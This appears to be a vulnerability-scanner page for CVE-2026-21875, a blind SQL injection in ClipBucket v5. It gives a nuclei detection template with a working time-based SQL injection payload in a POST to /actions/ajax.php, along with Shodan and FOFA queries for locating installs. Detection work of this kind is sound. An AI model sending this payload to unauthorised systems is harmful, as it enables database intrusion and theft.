ClipBucket v5 <= 5.5.2 - Unauthenticated Blind SQL Injection

criticalseverity

9.8CVSS score

1.8%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

ClipBucket v5.5.2-#187 and below contain a blind SQL injection caused by unsanitized obj_id parameter in /actions/ajax.php used in user_exists function, letting attackers perform blind SQL injection remotely, exploit requires crafted POST request.

Impact

Attackers can perform blind SQL injection to extract or manipulate database information remotely.

Fix

Update to the latest version once a fix is available.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains_any(tolower(body), "clipbucket", "cb_v5", "clip-bucket")
Send: @timeout: 10s
Positive when: status_code == 200 and contains(body, "channel_not_exist") and duration >= 6

Run it with nuclei: nuclei -id CVE-2026-21875 -u <target>

The full check

id: CVE-2026-21875

info:
  name: ClipBucket v5 <= 5.5.2 - Unauthenticated Blind SQL Injection
  author: str4k3r,0x_Akoko
  severity: critical
  description: |
    ClipBucket v5.5.2-#187 and below contain a blind SQL injection caused by unsanitized obj_id parameter in /actions/ajax.php used in user_exists function, letting attackers perform blind SQL injection remotely, exploit requires crafted POST request.
  impact: |
    Attackers can perform blind SQL injection to extract or manipulate database information remotely.
  remediation: |
    Update to the latest version once a fix is available.
  reference:
    - https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-crpv-fmc4-j392
    - https://nvd.nist.gov/vuln/detail/CVE-2026-21875
  classification:
    cve-id: CVE-2026-21875
    epss-score: 0.0175
    epss-percentile: 0.78043
    cwe-id: CWE-89
    cvss-score: 9.8
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  metadata:
    verified: true
    max-request: 2
    vendor: macwarrior
    product: clipbucket
    shodan-query: http.html:"ClipBucket"
    fofa-query: body="ClipBucket" || body="clipbucket"
  tags: cve,cve2026,clipbucket,sqli,blind-sqli,time-based,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(tolower(body), "clipbucket", "cb_v5", "clip-bucket")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 10s
        POST /actions/ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mode=add_comment&type=channel&reply_to=1&obj_id=999999%27%20OR%20(userid%3D1%20AND%20SLEEP(6))--%20-&name=test&email=test%40gmail.com&comment=testing

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "channel_not_exist")'
          - 'duration >= 6'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from